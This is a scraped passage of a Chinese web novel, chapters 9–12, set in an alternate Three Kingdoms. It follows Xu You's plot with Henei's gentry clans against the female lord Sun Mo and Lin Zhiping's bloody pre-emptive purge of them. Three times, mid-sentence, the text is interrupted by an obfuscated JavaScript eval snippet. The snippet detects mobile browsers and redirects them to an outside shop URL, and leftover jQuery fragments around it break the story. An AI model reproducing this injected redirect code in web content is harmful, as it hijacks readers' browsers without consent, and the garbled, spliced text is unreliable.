他知道袁绍这病是心病,心病还需心药医。因此,他明智的暂时瞒下守城不利、损兵折将的消息,换上一副胸有成竹、无事发生的样子,对袁绍说: “胜败乃兵家常事。只要怀县世家一反,孙志白便如无根之木、无源之水,必将无处容身。那时,敌军军心必乱,定会仓皇退兵,回救怀县。到时我军趁机掩杀,颜、文二位将军的大仇可报,河内可一战而定!” “优势在我,还望主公莫要因一时挫折,气伤了身子。” 袁绍听了这番话,原本郁结在胸口的气果然顺了一些。他冷冷道:“子远入怀县已有月余,可有消息传来?” 郭图:“未曾。但子远临行前和我商量过。河内世族以温、怀两县为最;温怀二县之中,又以司马家为首。先前怀侯改税制、释农奴,已然得罪遍了这些大族,这些大族又岂会帮助怀侯?” “怀侯若亲自坐镇怀县,尚可能以快刀斩乱麻之势,强行镇压乱局;而现在,她竟然不知死活,亲自领兵去了野王,这正是天助我也。” 为了增加说服力,郭图回忆起许攸的豪言壮语:“怀侯多助庶民而寡恩士族,吾观河内有反心者多矣。凭某三寸不烂之舌,说之易如反掌。” 许攸自信满满:“请公静待佳音。” “请主公静待佳音。”郭图深深一揖。 袁绍听到郭图这么细致的分析下来,顿时觉得心清目明、胸中畅快,仿佛已经看到了孙墨众叛亲离、跪在自己面前当阶下囚的画面:“如此,我就等上一等。” 他掀开盖着的丝被:“走,带我去安抚将士。” 郭图大喜:“诺……” 话音未落,便有一名亲卫神色慌张地跑来:“报,敌军送来一个包裹,说是要主公亲启。” 郭图心头猛地一跳,一股极其不祥的预感涌上心头。他顾不上礼仪,立即厉声喝道:“没看见我正和主公商讨大事吗?拿出去!” 亲卫低头唯唯诺诺,就要退下。 “慢着,”袁绍冷哼一声,恢复了一贯的自信:“我倒要看看是什么礼物。打开!” “等——”郭图想要阻止,却已经来不及了。 亲卫利索地解开了包裹,扯开了沾染着点点暗红色的黑布。 “骨碌碌……” 一个圆滚滚的物体从包裹中滚落出来,一直滚到了袁绍的脚边。 !!! 袁绍定睛一看,只觉得脑子“嗡”的一声巨响。 郭图瞳孔骤缩。 “砰” 袁绍指着地上的东西,喉咙里发出咯咯的声响,竟是直接“噗通”一声气倒于地,人事不省。 那是,许攸的人头。 9. 第 9 章 从袁绍率军踏入河内边境伊始,许攸就带着四五个随从,悄然脱离了中军,独自离去。 他避开了已被他视为囊中之物的朝歌县,也没有去大军下一个目的地汲县以及获嘉县,而是直接来到了和河内治所怀县更近的修武。 他一身白衣,扮作寻常客商,敲开了修武县第一大族张氏的大门:“吾乃袁渤海帐下军师许攸,今观张氏有死劫至,特来相助尔。” 莫名其妙就被人咒了一顿的张氏家主:“……” 他本想直接命人把这疯言疯语的狂徒轰出去,但奈何“袁渤海”三字太有份量,只得维持修养,把人好生请了进去。 请入了偏房。 许攸抬头一瞄门头,随即收住了脚步。只见他拍拍衣袖,弹掉并不存在灰尘,朗声言道:“素闻修武张氏名门望族,素有礼贤下士之称,今日一见,方知世人颇有夸大矣!” 一旁的张氏心腹:“……” 心腹自然听出了许攸的阴阳怪气,他正绞尽脑汁思考如何解释家主的行为时,偏房内的张家主却主动开口了,语气中带着一丝傲慢:“高客临门,吾自当沐浴净首、虚席以待;但若只是一白衣行商,又安能自诩贵客?” 士农工商,商人为贱。张家主这是在嘲讽许攸暗地里前来,又扮作低贱的行商,不顾名士身份,自然不配登堂入室。 心腹:“……” 这充满火药味的阴阳怪气,他一下人根本接不了话。 许攸听闻此言,非但不生气,反而傲然挺立:“事急从权,我奉袁渤海之命前来,代表的乃是袁氏。如此说来,是否在张公眼中,四世三公的袁氏也登不得你张家的大堂?” 袁氏二字轻飘飘落下,却犹如千钧重担,把张家主酝酿的嘲讽全堵在了肚子里。 他捏着鼻子把人带到了正厅。 许攸一撩衣摆,与张家主对坐。他毫无做客的自觉,径直开口道:“无酒不成席。” 张家主:“……” 就你事多。 他挥挥手,示意心腹下去端酒。 心腹刚走,他就迫不及待地开口表明立场:“许先生前来,若是为了游说张某反叛怀侯,那便请免开尊口。张某一介草民,不愿卷入诸侯纷争。” 许攸:“非反怀侯,乃救公等性命也。” 张家主古井无波,甚至觉得这些说辞在话本里见过:“有何分别?” 他本以为许攸会像那些俗套的游说之士一样,大谈袁绍兵强马壮、怀侯必败无疑;又或者陈述利害,许以高官厚禄,威逼利诱他造反。 张家主胸有成竹,打定主意不主动、不掺和。只要我不动,孙袁两家都没理由找自己的麻烦。 然而,许攸接下来的话,却完全出乎了他的意料。 许攸慢条斯理地说道:“怀侯功震天下,洛阳救天子于水火,世人无所不知。然,怀侯终究为一女子,迟早嫁作他妇。普天之下,公且思量,除了当今天子,还有比袁氏子更合适、更门当户对的夫婿吗?” 张家主猛地愣住了,他张了张口,竟一时无法反驳。 在这个讲究男尊女卑、门阀政治的时代,一个掌控一郡之地的女诸侯,其最终的归宿,似乎只有联姻这一条路才显得“合乎礼法”。 “所以?”他张了张口,讷讷问道。 只一句话,他就被许攸牵住了鼻子走。 “怀侯以袁士纪为内阁首辅,事无大小咸决于他,对其信任有加,未必没有此等联姻托付之心。依某观之,此番河内之战,若我主胜,河内自然是囊中之物;若我主败,这河内,依然是袁氏之物!” 张家主一时有点跟不上节奏。 恰好此时,心腹端着托盘,送上酒水。 “明公,请用。” “砰,砰,砰” 酒樽、酒壶和案几碰撞间,张家主思索起许攸的话。 待心腹退下,张家主抬起头,眼神中已经没有了之前的傲然。他沉吟片刻道:“所以?” 许攸面带笑容,端起酒樽一饮而尽。然后又亲自提起酒壶,为自己再次满上,双手举樽,向张家主一敬:“张公。” 张家主端起酒杯,皱着眉头,一饮而尽。美酒入喉,让他更加焦虑。他有些迫不及待地问:“既然许先生断言河内迟早是袁氏之物,那我张氏一族,又该如何自处?” 许攸放下酒樽,眼中闪过精光:“公若趁机起事,若我主胜,公便是里应外合的首义之臣,自然是大功一件,高官厚禄不在话下;即使我主败,公对袁氏的赤胆忠心,也昭昭如日月。有袁士纪周旋,公不仅性命无忧,反而会成为袁氏在河内最信任的盟友。” “——但若公袖手旁观,”许攸猛地一拍案几,“一旦主公得胜,河内张家,必无今日之盛!” 张家主:“……” 如此说来,起事造反,竟然成了一笔稳赚不赔的投资。 进可博取泼天富贵,退有袁氏庇护。而不作为,反而成了最大的罪过。 但他毕竟是老于世故的家主,事关宗族存亡……他还在犹豫。 “张公,你若不为,这修武县的一众豪门,甚至周围获嘉、武德的世家,安会不为?”许攸再次抛出了一颗重磅炸弹。 张家主一惊。 他太清楚这些世家豪强的德性了。蛋糕就这么大,如果别人起事立了功,分得的权力和土地多了,那留给张家的就变少了。 许攸见张家主表情阴晴不定,就知此事已成定局。他不再多费口舌,站起身来,拱了拱手。 “三十日后,正是时机。望张公早做决断。” 他饮尽杯中最后一口残酒,转身潇洒离去。 此番对话,不断在修武县个个世家中重复。 然后是武德县、山阳县、孟县。 “二十五日后,正是时机。” “二十日后,正是时机。” “十五日后,正是时机。” 温县,司马家。 “十日后,正是时机。”许攸拱手一拜。 司马朗刚想说话,就听着自己的二弟突然冷笑了一声。 这笑声在寂静的书房里显得格外刺耳。 “君以为,怀侯志在人妇?” 司马懿那张略显稚嫩的脸上,挂着一种超越年龄的成熟和不屑。他觉得自己简直听到了天大的笑话。 那位坐在上首,面对一众豪门望族泰然自若,轻描淡写几句话就把他们压制得死死的女子;那位挥手间便敢设立内阁、废除口赋、兴建十万军屯的乱世霸主,会甘心做一个人妇,将辛辛苦苦打下的江山作为嫁妆拱手让人? 开什么笑话? 怎么可能! “不然呢?”许攸却丝毫不觉得有问题,他反问道:“士择明主,女求良夫,阴阳顺逆,三纲五常,天之道也。怀侯虽有勇略,但终究逃不过这世间伦常。” 司马懿:“……” 他觉得许攸的话里有哪里不对,有极大的漏洞,但他张了张嘴,却说不上来到底哪里不对。他翻遍脑海中熟读的诗书经义,却找不到一个例子、一句话来反驳这套逻辑。 于是,难得的,十二岁的司马懿哑然了。 但还未长成的他,心中却悄然留下了一颗不那么顺从、甚至有些离经叛道的种子。 他坚信自己的直觉。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849809|211802||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 坚信怀侯绝不会将河内让与别人,即使那个人是四世三公的袁氏嫡长子! “此事,河内司马氏,绝不参与。” 他没等自己的亲哥出言,就径直站起身,冷冷地摆明了司马家的立场。 许攸看看眼前的少年,又看看旁边的司马朗,失声笑道:“公之二弟,确有主见。只是不知,他能代表‘司马家’的结论吗?” 意思很明确,他不认为一个十二三岁的毛头小子,能代替司马家做决策。 司马朗:“……” 他没有斥责弟弟的僭越,而是沉吟了片刻。随后,他从宽大的袖中抽出一卷帛书,递给许攸。 “许先生,这是太守府近期的兵力调动明细,以及怀县粮仓的分布图。我司马家在太守府的几个暗线,也可以交由先生调遣。” 许攸眼睛一亮,笑着接下帛书,正要赞叹一番司马家大公无私、深明大义,就听到眼前人极其冷淡的言语:“此事到此为止。帛书非我司马家所献,人也非我司马家之人。事成事败,皆与我司马家无关。” 司马懿:“……” 他深深地看了一眼自己的兄长。 许攸只觉得好笑。情报和暗线都给了,还想置身事外?但他没打破司马朗这自欺欺人、明哲保身的说辞,只是意味深长地笑了笑,转身离开。 他来到了此行的最后一站,河内治所、太守府所在,怀县。 蔡氏的深宅,众世家汇聚一堂。 作为亲眼见证张家旦夕间灰飞烟灭的人,蔡氏家主对许攸的说辞,虽然心动,但骨子里却透着深深的恐惧,迟迟不敢下定决心。 蔡家主心有余悸:“先生所言有理。但孙志白此人,绝不能以常理夺之,其下手更是狠辣……”他打了一个啰嗦,张郡丞说杀就杀,官员说免说免,行事不只是离经叛道,更是肆无忌惮。” 薛氏家主也随之附和,补充道:“况且怀县文有袁士纪、荀文若、 蔺治平,武有杨二、石哲,更有三千折冲营。这折冲营,可是洛阳的禁军,精兵悍将!就凭我们,对抗太守府,无异于以卵击石,谈何容易?” “哈哈,哈哈哈。”许攸看着这群惊弓之鸟,放肆地笑出了声。 薛家主大怒:“你笑什么?” 许攸成竹在胸,目光如炬地盯着众人:“我笑尔等个个如惊弓之鸟,只知畏惧头顶的利箭,却不知,谁是持弓射箭者,谁,又是那该惊的鸟儿。” “你!”薛家主一拍案几,刚要大骂,就见蔡家主一个眼神过来,“——” 蔡家主:“不知许先生,有何高论?” 许攸伸出三根手指,一一列举:“其一,袁士纪本就是袁家长子,我主袁渤海的亲哥哥。怀侯焉能安心放权?君若起事,太守府第一个怀疑的人,就是他!” “其二,荀文若人称有王佐之才,可他才入怀侯帐下多久?他寸功未立,又有何威望、有何胆魄,敢在怀县越俎代庖,对你们这些名门望族痛下杀手?一旦怀侯问责,这罪,他担得起吗?” “其三,蔺治平。其人虽久随怀侯,但出身不显,才学不及。他有何能力,来处理怀县乱局?” “此三者,皆不足惧也。至于杨二、石哲之流,匹夫尔,不足挂齿。” 许攸双眼炯炯有神,仿佛已经看到了未来的胜利:“诸位,倘若如今坐镇怀县的,是怀侯自己,又或者贾诩、荀攸二者其一,借我许攸十个胆子,我也不敢来染指怀县。” “可偏偏,他们都不在。” 许攸走到案几前,端起一杯酒,目光扫过在场的每一位家主,一字一顿,带着致命的蛊惑: “天予不取,反受其乱!” 10. 第 10 章 “天予不取,反受其乱!” 许攸掷地有声的八个字,在大堂内不断回响,不停牵拉着诸位家主的心神。 他们默默评估着风险和收益,一时无人出声。 许攸扫视一圈,将各位家主的神情一一记在心间。 有瞻前顾后者,有举棋不定者,更有畏首畏尾者。 干大事而惜身,一群酒囊饭袋尔。 许攸心中冷笑连连。 干大事而惜身者,当以重利诱之,以奇兵震之! 许攸从怀中拿出一卷帛书,徐徐展开。 蔡家主初不解其意,但等到彻底看清这卷帛书画的是什么时,他瞬间倒吸一口凉气,直接从坐席上弹了起来:“这、这是……” 许攸双臂伸直,捏这帛书的边角抖了抖,似乎要让这些家主看得更清些: “没错,这是太守府近期的兵力调动明细,以及整个怀县和温县的粮仓分布图。” “什么?” “兵力、粮仓分布图?” 薛家主脸涨得通红,他上前一步,托起帛书的下延,细细观看起来: “不错……前些日子,城东那条街确实有士兵频繁路过。原来是在暗中布防……” “这里……这是?那处废弃的旧宅院里,居然被用来囤积粮草了?!” “怪不得,怪不得,看来那传言非虚。” 其他的家主也纷纷围拢过来,互相印证起消息的正确性。 “……” 不一会儿,蔡家主由衷地赞叹道:“许先生真乃神人也。能在怀侯的眼皮子底下弄到这等军机,太守府对先生来说,简直如同不设防的后花园!” 这一声赞叹,顿时打开了众家主的话匣子。他们以为这是许攸和袁绍的手段,纷纷赞美起袁盟主的兵威和许先生的智谋,接着又状似不经意地显摆自己家族在城中也有某些资源,只是苦于没有统筹,如今有了许先生牵头,大事必成云云…… 许攸冷眼旁观。 待价而沽尔。不过司马氏,确实有些实力,值得耗费些心神。 只见他一转身,大步流星登上主位矮榻。他居高临下,顿时吸引住了所有人的目光。 “咳,”许攸轻咳一声,勾勒出志在必得的笑容,给台下众人,描绘出了一幅天衣无缝的宏伟图景: “诸公请听我言。此番起事,共分三步。” “第一步,连结河内诸县,逐步引燃。我已暗中联络修武、武德、山阳等县,按计,他们会依次起事。此步一出,太守府必出精锐镇压,怀县之兵便会被分出。即使后续太守府诸人反应过来这是调虎离山,已经分出的兵,也是拨出去的水,收不回来了!” “第二步,烧粮仓。粮仓为军队命脉,此为攻其必救也。如此,太守府本就兵力不足的情况下,还不得不去救,再次让他们不得不分兵!” “第三步,”许攸眼中闪过一丝残忍,他仿佛看见了太守府蒙上的血色,“待折冲营离开,太守府空虚,诸公便发动死士,攻破太守府,占怀、温两县。如此,怀侯根基已破、无家可归。河内,不过我主囊中之物!” 步步连环,计计惊心。将人心、兵力、粮草算计到了极致。 良久,蔡家主才找回了自己的声音。他轻轻抚摸过胸腔隐隐狂跳的心脏,尽力用平缓的语气询问众人:“诸位,此计……可行否?” 众人还没从震惊中缓过神,无人接话。 然众人未曾开口,许攸却唱了反调。他话锋一转,语气森冷:“——然,此计仍有缺憾,稍有不慎,便能置我等于死地。” 众人大惊,连忙询问:“有何不妥之处?” “子远切莫故意惊吓我等!” 许攸再次扫视一圈,见众人纷纷急于弥补破绽、询问对策,而不是立即抽身退出,顿时笑意盎然。 计成。他们已经彻底上了战车。 只见他缓缓将手中的酒樽倾倒,酒液尽撒余地:“诸公心齐,自然无有不胜;但若有一人两面三刀,将今日之谋透露,我等皆将死无葬身之地!” 一众家主,顿时面面相觑,眼中皆升起警惕之色。 “啪” 蔡家主见状,反而击掌而笑:“这有何难?来人,上鸡血!” ----------------- 怀县,深夜,月朗星稀。 蔡氏的深宅,气氛浓密而压抑。 许攸、蔡家主、薛家主、缪家主,以及怀县一众大家族的家主,围着案几,站成一圈。 案几上放着盛满鸡血的青铜敦。 “诸位!”主位上的许攸,目光如炬,扫过每一个人,“妖妇孙墨,叱鸡司晨,惑乱朝纲。不知阴阳,不恤民情,倒行逆施。暴政之下,人人自危。幸我主感念民之艰辛,举全郡之兵奋起,欲救民于水火。今,我等承袁公之命,聚大义于此,势必还天下一个朗朗乾坤!” “如违此誓,天人共戮,明神殛之,身首异处,死无葬身之地!” 言罢,他以手指浸入鸡血,用力抹于唇畔。 “如违此誓,天人共戮,明神殛之,身首异处,死无葬身之地!” 众家主齐齐喝道,亦是纷纷将鸡血抹于唇畔。 歃血为盟。 盟毕,众人对视一眼,相视而笑。 那是对未来的肯定。 在许攸那百无一漏的推演下,诸位家主仿佛已经看到了太守府在烈火中坍塌,他们重新夺回河内统治权的无上荣光。 ----------------- 河内郡。 初平元年,九月二十八,修武县张氏,反。 十月初二,武德县,反。 十月初八,山阳县,反。 十月十二,孟县,反。 …… 诸县造反的战报,雪花一样地传到太守府。 最开始,是修武县反叛的消息,几乎是立刻,太守府便让石哲领着八百折冲营过去镇压。 接着是武德县反叛。荀彧皱皱眉,顶着袁基和蔺治平的不解,把原定的八百精锐压成了六百。 再接着是山阳县。这下不用荀彧多言,袁基和蔺治平也看出了蹊跷。 一县造反是意外,尚能用不服怀侯之令或者畏惧袁绍势大来解释;二县造反也姑且算是巧合;但三县同时反叛,还是在这袁绍大军压境的敏感时期,这怎么看怎么有猫腻。 太守府的功曹舍改为了内阁办事处,在内阁众人一致“声讨”下,孙墨被迫起了个很没创意的名字,叫做凤阁。 此时凤阁内的气氛压抑。荀彧、袁基、蔺治平都沉默不语。 袁基首先沉不住气,拍了桌子:“什么流民暴动,流民哪来的利刃长枪?!分明是这些世家蓄养的部曲在造反!” 平民最大的暴动——也就是黄巾,用的也只是锄头草叉。他们连饭都吃不饱,哪来的本钱买兵器? “知道是世家造反,我们也不得不救。不救,这河内就乱了。”蔺治平拧紧了眉头。 “不救……”荀彧摩挲着指尖,那双温润的眼眸中闪过无数推演,随后似是想到了什么,猛然站起身,“不能救!” 袁基和蔺治平一惊,视线寻着荀彧的身影来到河内地图前:“为何?” “修武、武德、山阳……九月二十八、十月初二、十月初八……” 随着荀彧的手指落下,袁基品出了味道:“你是说,诸县的动乱,在故意打一个时间差?故意给我们留下时间去救援?为的是让我们不断分兵?” “分兵”二字一出,袁基陡然一惊,脱口而出:“调——” “调虎离山。”蔺治平脸色有些发白。 “没错,如我所料不错,他们最终目的,在温县、更在这怀县。” 作为河内最富饶的县城,以及太守府的所在地,怀县和温县是安危是重中之重。 “现在城内只剩下一千五百的折冲营,要防守太守府,粮仓,城门,还要分去温县护卫……”蔺治平飞快地计算一番,顿时眉头紧锁,“不行,人不够。单纯守怀县,这一千五百人都不够……能不能让先前派出去的兵,撤回来?” 蔺治平抱着一丝期望地询问,虽然他知道这大概率是奢望。 “难撤,”荀彧毫不犹豫的打破幻想,“撤军向来复杂,尤其是敌军未败的情况下。稍有不慎,便是军心溃散、大败而归,甚至会被叛军顺势掩杀回怀县。” 这又不是打游戏,说撤就撤说跑就跑。 就算是打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849810|211802||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 游戏,也不能是说撤就撤说跑就跑。 袁基:“撤兵不妥,怀县也没有多余的兵力,那只能放弃温县、死守怀县了?” 荀彧、蔺治平:“……” 两人抿抿嘴,并不答话。 没了温县作为犄角之势,怀县独木难支。一旦温县的世家也响应叛乱,怀县就会变成一座孤岛。 这番局势分析下来,三人左右为难,陷入了彻底的僵局。 “怀县决不能丢,”荀彧强调,语气中带着一丝决绝,“至于温县……若实在无法……” 弃之。 荀彧的喉结滚动了些许,终究没有将这两字说出来。 断臂求生,说来轻巧,可这代价实在是太大了。温县不仅富饶,更是怀县在防御中不可或缺的犄角。一旦温县被破,怀县就会成为一座孤岛。到时内有世家私兵发难,外有周边各县合围而来的叛军,怀县四面楚歌,能不能守住,还是个未知数。 用一县的代价,去博一个不知道成败、甚至可以说胜率不足三成的机会,这决断,重逾千钧。荀彧虽然被誉为“王佐之才”,但他心里很清楚,自己才归附孙墨不久,连一声“主公”都未曾正式叫过,这种级别的决定,他做不了主。 袁基亦是一声不吭。他一时也没法下结论。他作为袁绍的亲哥哥,本就处境尴尬。如果得胜还好说,一旦失败,无论实际情况如何、无论这个决定是多么的合理,他都一定会被扣上“暗结敌军”的帽子。 蔺治平抿抿唇,他突然想到孙墨出征前的交代:“文若,主公临行前的锦囊,交代了什么?主公或许早有安排?” 荀彧一拍脑门,连日的焦头烂额,让他差点把孙墨临走时神神秘秘塞给他的东西给忘了。 他赶紧摸出锦囊打开。只见里面放了一个圆形、且花纹精美的铁块,和一张折叠的字条。 荀彧拿出铁块,充满疑惑:“这是何物?” 俗称硬币。 袁基认出了这个东西:“这是主公独有的信物,见此币如见她。主公此时将此物留给我们,应该是要放权。这是在告诉我们,危急时刻,内阁可自行决断,不必有任何顾忌。” 有了这枚“尚方宝剑”,荀彧和袁基心中的压力稍微减轻了些许。 “只是这字条上又写了什么?” 荀彧小心翼翼地摊开字条,期待着怀侯有何妙策破局。 然后,他的表情就凝固了。 没有精妙的排兵布阵,没有分化瓦解的权谋算计,也没有安定人心的长篇大论。 只见上面写了极其难看、恍若稚童书写的几个歪七扭八的字:杀了,都杀了。 这一看就是孙墨的真迹。 更离谱的是,在字体的旁边,还画了一个很不严肃、甚至带着几分嘲讽意味的骷髅头。 荀彧、袁基、蔺治平:“……” 这是什么虎狼之词? 这种东西需要神神秘秘、故弄玄虚地藏在锦囊里吗? 短暂的错愕之后,是深深的无力感。 杀了?杀谁? 城里大大小小十几个有嫌疑的世家,门生故吏、部曲死士加起来成百上千,甚至温县还有司马家这种庞然大物! 司马氏在河内,说是振臂一呼、群贤响应都丝毫不为过! 谁去杀?凭城里那一千五百名还要守门的折冲营吗? 谁敢杀?屠戮世家,这等于是向整个大汉的士大夫阶层宣战啊! 怎么杀?如今太守府自保尚且不足,拿什么去反过来诛杀他们? 荀彧和袁基对视一眼,两人皆是苦笑。在他们看来,这只是孙墨在表达一种“绝不妥协、放手去做”的强硬态度。 他们苦笑着摇了摇头。 荀彧将纸条放在了一边,揉了揉发胀的眉心,准备继续和两人讨论如何收缩防线、死守怀县。 然而,就在这时。 一旁沉默的蔺治平缓缓抬起头,平静地开口了:“其实,还有一种方法,不需要放弃温县,更不会将怀县置于危险,只需要……” “不行!”一向彬彬有礼的荀彧,此刻竟然直接打算了蔺治平的话。他温润的面庞上浮现出罕见的怒意和严厉:“你这是在玩火!在自绝于士林!想都不要想!” 11. 第 11 章 蔺治平见一向温润的荀彧竟然发怒了,不仅没有退缩,反而淡淡地笑了起来。那笑容中透着一股看透生死的决绝:“治平本身一介书生,三尺微命,从未入过士林,又谈何自绝于士林?” 荀彧语气异常严肃:“你是怀侯心腹,你的所作所为,在天下人面前,都代表着怀侯的意志。你若屠戮世家,天下人只会认为这是怀侯下的令。你这是要将怀侯架在火上烤!” “屠戮世家”? 一时游离状况外的袁基终于反应了过来,他倒吸一口冷气,震惊道:“你是想先下手为强?” 蔺治平目光平静得令人害怕:“没错。” “不行!”袁基瞬间严厉起来,音量隐隐拔高:“世家并未真正动手,周边诸县的叛乱我们也只是推测与他们有关。如果这时候毫无凭据地对他们痛下杀手,这无异于洛阳的董卓!” 别人打你一下,你反击,这叫正当防卫,有理有据;但如果你只是推测别人将要动手,就提前把那人给揍了一顿,这放在哪里,也是过激行为。别人的唾沫星子一定会在脸上,更何况,这本身就不合礼法! “即使有九成的把握……不,就算有十成的把握确定世家要反,也不能先下手为强!”袁基身为四世三公的子弟,太清楚这其中的政治红线了,他说得异常严肃,“此番举动,无异于向天下人昭告,主公是另一个董卓!” “……” 蔺治平没有反驳。他静静地望望袁基,又望望荀彧,最后走到案几前,端起杯中已经微凉的水,一饮而尽。 “砰” 水杯被重重置于案上,发出一声闷响。蔺治平没有回头去看两人,声音低沉却犹如铁石般坚硬:“今夜,这一切都是我蔺治平一人的意思,与主公无关。” “不可——”能。 袁基的话语,被死死卡在了嗓子里。因为他听到了蔺治平接下来的话,那话语中带着一种近乎殉道的悲壮。 “此事过后,我会向主公请罪。以蔺某的人头,去向世家谢罪。如此,不坏主公威名,也能解此今日危局。” 荀彧:“……” 袁基彻底哑然。 荀彧沉默良久。他才来太守府没多久,对孙墨的了解还不深。但仅凭这有限的了解,他也知道,孙墨绝不可能让蔺治平用命去背这口锅。 从理性上,他没法去说服蔺治平,因为这是目前唯一能保住怀县的破局之法;但从情感上,他尝试着开口劝阻:“……怀侯不会同意你这么做的。” 蔺治平闭目长叹,声音中带着深深的疲惫与释然:“文若,士纪,现在还有更好的办法吗?若是温县、甚至是怀县失守,粮草被毁,大军崩溃,我等万死难辞其咎。” 荀彧、袁基:…… “若能用我一介微命,换主公根基稳固,治平……”他说着说着,竟真诚得笑了起来:“甘之如饴。” “至于主公……”蔺治平笑得灿烂而又苦涩,他低声道:“一人与河内、与这天下孰轻孰重,还用说吗。” 荀彧、袁基相顾无言,他们知道,蔺治平已经心存死志。 是夜,折冲营一分而二,杨二领着七百人直奔温县,而蔺治平,则带着另外七百人直奔怀县诸豪强世家。 第一站,就是蔡氏。 彼时,恰好一众家主聚集一堂,许攸正坐在主位,得意洋洋进行着最后的部署:“山阳、孟县已经起兵,折冲营也已经分散,太守府必然方寸大乱。如今怀县兵力空虚,我们只需要按照地图所示,点燃粮仓,然后趁他们不得不救粮之际,直逼太守府……” 薛家主大笑着接话:“攻破太守府,整个怀县,不,整个河内,就都是我们世家的天下了!” 蔡家主点头附和:“到时候,袁渤海得了河内……” 许攸哈哈大笑,轻轻摇晃着酒杯:“主公赏罚分明,那肯定是不会亏待各位功臣的。” 顿时,众人皆是大笑。他们端起酒杯,纷纷道:“敬袁渤海!” 许攸举杯回应,志得意满,仿佛加官进爵就在眼前:“敬主公,敬诸位!” “砰——” 酒未入喉,许攸突然猛地一阵心悸。他手一抖,酒樽便掉落在案上。 酒撒了一地。 他讷讷地看着自己的手,一阵恍惚。 一旁的蔡家主见状,只觉得是平常一不留神的手滑而已,随即殷勤地招呼下人收拾。 许攸却一动不动。 这种悸动,在以往的岁月里,曾救过他很多次。这是他对危险极其敏锐的直觉! 难道我漏算了什么? 盟誓,分兵调虎离山,袭粮,最后进攻太守府…… 步步紧逼,环环相扣,没问题啊。他们除了尽量收缩有限的兵力,还能做什么? 许攸百思不得其解。 “先生,怎么不喝了?酒泼了而已,不必介怀。来,我再敬先生一杯!”薛家主浑然不觉,继续开怀畅饮。 许攸:“……” 他调动起脸部的肌肉,摆出一个完美的从容微笑:“稍等,吾去更衣。” 古往今来,遇事不决,尿遁为先。情况不对,先溜为敬。 许攸十分在意西安自己的小命。 “好说,好说。先生自便。”薛家主不疑有他。 许攸抬脚就要开溜。 就在此时, “报——!” 一声凄厉的惨叫声打破了堂间的狂欢。 一名浑身浑身是血的家丁连滚带爬冲了进来,惊恐地连声音都变了调:“主人,军队,闯进来了!” 蔡家主猛然站起身:“哪来的军队?” “他们打着折冲营的旗号……他们已经撞开大门杀进来了!” 薛家主大怒:“放肆!我等还未动手,又未犯法。他太守府凭什么领兵擅闯?!” “主人,趁着他们还未进来,快逃吧!”家丁惶恐地向后张望,“他们根本不问缘由,说动手就动手,已经杀了好多人了……” 蔡家主一时脸色煞白。他强行稳住心神,勉强维持着世家家主的镇定:“不分青红皂白,擅闯民宅,屠戮世家。这天下,还有王法吗?她怀侯,哪来的胆子?就不怕留下千古骂名吗,被天下士人群起而攻之吗?!” “此为我蔺治平一人所为,和主公无关。” 一道平静而淡薄的声音从堂外传来。蔺治平提着滴血的长剑踏入大堂,扫视一圈。 蔡家主,薛家主,缪家主…… “各位家主都在,倒是省了我到处寻找的功夫。”蔺治平右手提着的剑,鲜血蜿蜒而下,顺着剑尖滴落,逐渐汇集成一摊触目惊心的血泊。 他抬头,目光越过众人,看到了坐在主座上、正准备开溜的许攸。 虽然不认识,但却能在这种场合坐在主座…… 蔺治平略作思考,便推测出了这人的身份:“想必这位,就是袁绍派来、暗结诸世家造反的说客吧。失敬,失敬。” 许攸:“……” 他愣愣地看着冲进来的士兵,和眼前的衣衫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蔺治平不答,只是一味提剑上前。 许攸一手覆盖胸膛,在生死恐惧中艰难的维持理智。他知道,如果能说服眼前的疯子放下屠刀,那么便有一线生机。 “……怀侯必斩你!”许攸重重重复道。随后,许是被生死绝境中激发了潜能,他不再颤抖,而是充满蛊惑地抛出诱饵:“你屠戮世家,即使是为了救河内,怀侯也要给世家一个交代,她不可能不杀你!除非她要与整个天下为敌!” “如今能救你的,只有袁渤海!只要你反戈一击,攻入太守府,今天的事,就当是怀侯下的令,与你无关!只要你归降,荣华富贵——唔!” 许攸的话音戛然而止,发出一声痛苦的闷哼。 许攸不敢置信的低头,看着那柄毫不犹豫捅入自己胸膛的长剑:“你疯了!” 他不理解,他真的不理解,为什么一个人会如此干脆地放弃唯一的活命机会? 他活够了吗?他难道不想活了吗? 鲜血从口中涌出,许攸张大嘴,用最后的力气嘶吼:“为什么?!” “荆轲刺秦,於期献头。” 蔺治平缓缓拔出长剑,看着许攸倒下的尸体,喃喃自语:“可惜,不能亲眼看到主公纵横四海的那一天了。 12. 第 12 章 怀温两县的世家从未经历过如此惨烈的一夜。当第一缕晨曦刺破厚重的云层时,一切都结束了。 空气中弥漫着刺鼻的血腥味。男男女女、老老少少,相互搀扶着,胆战心惊地聚集在街道两旁。他们纷纷哆哆嗦嗦看着寥寥几个折冲营的士兵,有条不紊地收拾着残局。 